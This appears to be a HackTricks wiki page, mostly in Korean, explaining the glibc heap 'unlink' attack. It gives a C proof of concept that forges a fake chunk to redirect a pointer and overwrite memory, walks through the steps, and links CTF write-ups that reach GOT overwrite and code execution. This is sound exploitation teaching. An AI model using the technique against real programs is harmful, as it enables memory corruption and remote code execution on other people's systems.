Unlink Attack
Last updated
Last updated
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Check the subscription plans!
Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
이 공격이 발견되었을 때, 주로 WWW(Write What Where)를 허용했지만, 몇 가지 검사가 추가되어 공격의 새로운 버전이 더 흥미롭고 더 복잡하며 쓸모없게 되었습니다.
```c #include #include #include #include
// Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work
struct chunk_structure { size_t prev_size; size_t size; struct chunk_structure *fd; struct chunk_structure *bk; char buf[10]; // padding };
int main() { unsigned long long *chunk1, *chunk2; struct chunk_structure *fake_chunk, *chunk2_hdr; char data[20];
// First grab two chunks (non fast) chunk1 = malloc(0x8000); chunk2 = malloc(0x8000); printf("Stack pointer to chunk1: %p\n", &chunk1); printf("Chunk1: %p\n", chunk1); printf("Chunk2: %p\n", chunk2);
// Assuming attacker has control over chunk1's contents // Overflow the heap, override chunk2's header
// First forge a fake chunk starting at chunk1 // Need to setup fd and bk pointers to pass the unlink security check fake_chunk = (struct chunk_structure *)chunk1; fake_chunk->size = 0x8000; fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
// Next modify the header of chunk2 to pass all security checks chunk2_hdr = (struct chunk_structure *)(chunk2 - 2); chunk2_hdr->prev_size = 0x8000; // chunk1's data region size chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked' // This results in chunk1 pointer pointing to chunk1 - 3 // i.e. chunk1[3] now contains chunk1 itself. // We then make chunk1 point to some victim's data free(chunk2); printf("Chunk1: %p\n", chunk1); printf("Chunk1[3]: %x\n", chunk1[3]);
chunk1[3] = (unsigned long long)data;
strcpy(data, "Victim's data");
// Overwrite victim's data using chunk1 chunk1[0] = 0x002164656b636168LL;
printf("%s\n", data);
return 0; }
</details>
* 공격은 tcaches가 사용되는 경우 작동하지 않음 (2.26 이후)
### 목표
이 공격은 **청크에 대한 포인터를 자신보다 3 주소 앞을 가리키도록 변경할 수 있게 해줍니다**. 이 새로운 위치(포인터가 위치했던 주변)에 다른 제어 가능한 할당/스택과 같은 흥미로운 내용이 있다면, 이를 읽거나 덮어써서 더 큰 피해를 줄 수 있습니다.
* 이 포인터가 스택에 위치해 있었다면, 이제 자신보다 3 주소 앞을 가리키고 사용자가 이를 읽고 수정할 수 있으므로, 스택에서 민감한 정보를 유출하거나 반환 주소를 수정할 수 있을 것입니다(아마도) 캔을 건드리지 않고.
* CTF 예제에서는 이 포인터가 다른 할당에 대한 포인터 배열에 위치해 있으므로, 3 주소 앞을 가리키도록 만들고 이를 읽고 쓸 수 있게 되면, 다른 포인터가 다른 주소를 가리키도록 만들 수 있습니다.\
사용자가 다른 할당도 읽고 쓸 수 있으므로, 정보를 유출하거나 임의의 위치(예: GOT)에 새로운 주소를 덮어쓸 수 있습니다.
### 요구 사항
* 몇 개의 청크를 생성하기 위해 메모리(예: 스택)에 대한 일부 제어가 필요합니다.
* 가짜 청크의 포인터를 설정하기 위한 스택 유출.
### 공격
* 두 개의 청크가 있습니다(청크1 및 청크2).
* 공격자는 청크1의 내용을 제어하고 청크2의 헤더를 제어합니다.
* 청크1에서 공격자는 가짜 청크의 구조를 생성합니다:
* 보호를 우회하기 위해 `size` 필드가 올바른지 확인하여 오류: `corrupted size vs. prev_size while consolidating`를 피합니다.
* 가짜 청크의 `fd` 및 `bk` 필드는 청크1 포인터가 저장된 위치를 각각 -3 및 -2의 오프셋으로 가리키도록 설정되어 있어 `fake_chunk->fd->bk` 및 `fake_chunk->bk->fd`가 메모리(스택)에서 실제 청크1 주소가 위치한 곳을 가리킵니다:
<figure><img src="../../.gitbook/assets/image (1245).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
* 청크2의 헤더는 이전 청크가 사용되지 않음을 나타내고 가짜 청크의 크기를 포함하는 크기로 수정됩니다.
* 두 번째 청크가 해제되면 이 가짜 청크가 연결 해제되어 다음과 같은 일이 발생합니다:
* `fake_chunk->fd->bk` = `fake_chunk->bk`
* `fake_chunk->bk->fd` = `fake_chunk->fd`
* 이전에 `fake_chunk->fd->bk` 및 `fake_chunk->bk->fd`가 같은 위치(청크1이 저장된 스택의 위치)를 가리키도록 설정되었으므로 유효한 연결 리스트였습니다. **두 개가 같은 위치를 가리키고 있기 때문에** 마지막 것(`fake_chunk->bk->fd = fake_chunk->fd`)만 **효과**를 가져옵니다.
* 이는 **스택에서 청크1에 대한 포인터를 스택에서 3 주소 앞에 저장된 주소(또는 바이트)로 덮어씁니다**.
* 따라서 공격자가 청크1의 내용을 다시 제어할 수 있다면, **스택 내부에 쓸 수 있게 되어 캔을 건드리지 않고 반환 주소를 덮어쓰고 지역 변수의 값과 포인터를 수정할 수 있습니다**. 심지어 스택에 저장된 청크1의 주소를 다른 위치로 수정하여 공격자가 청크1의 내용을 다시 제어할 수 있다면 어디든 쓸 수 있게 됩니다.
* 이는 **주소가 스택에 저장되기 때문에 가능했습니다**. 위험과 악용은 **가짜 청크에 대한 주소가 어디에 저장되는지에 따라 달라질 수 있습니다**.
<figure><img src="../../.gitbook/assets/image (1246).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
## 참고 문헌
* [https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit)
* CTF에서 unlink 공격을 찾는 것은 이상할 수 있지만, 이 공격이 사용된 몇 가지 작성물이 있습니다:
* CTF 예제: [https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html)
* 이 예제에서는 스택 대신 malloc된 주소의 배열이 있습니다. unlink 공격이 수행되어 여기에서 청크를 할당할 수 있게 되며, 따라서 malloc된 주소 배열의 포인터를 제어할 수 있습니다. 그런 다음 이러한 주소의 청크 내용을 수정할 수 있는 다른 기능이 있어 GOT의 주소를 가리키고, 함수 주소를 수정하여 유출 및 RCE를 얻을 수 있습니다.
* 또 다른 CTF 예제: [https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html)
* 이전 예제와 마찬가지로 할당 주소의 배열이 있습니다. unlink 공격을 수행하여 첫 번째 할당의 주소가 배열 시작 몇 위치 앞을 가리키도록 하고 이 할당을 새로운 위치에서 덮어쓸 수 있습니다. 따라서 다른 할당의 포인터를 GOT의 atoi를 가리키도록 덮어쓰고 이를 출력하여 libc 유출을 얻은 다음 atoi GOT를 원가젯의 주소로 덮어쓸 수 있습니다.
* unlink 공격과 매우 유사한 취약점을 악용하는 사용자 정의 malloc 및 free 함수가 있는 CTF 예제: [https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html)
* FD 및 BK 포인터를 제어할 수 있는 오버플로우가 있으며, 이는 (사용자 정의) 해제됩니다. 또한 힙에는 exec 비트가 있어 힙 주소를 유출하고 GOT의 함수를 힙 청크로 가리키게 하여 실행할 쉘코드를 포함할 수 있습니다.
<div data-gb-custom-block data-tag="hint" data-style='success'>
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
</div>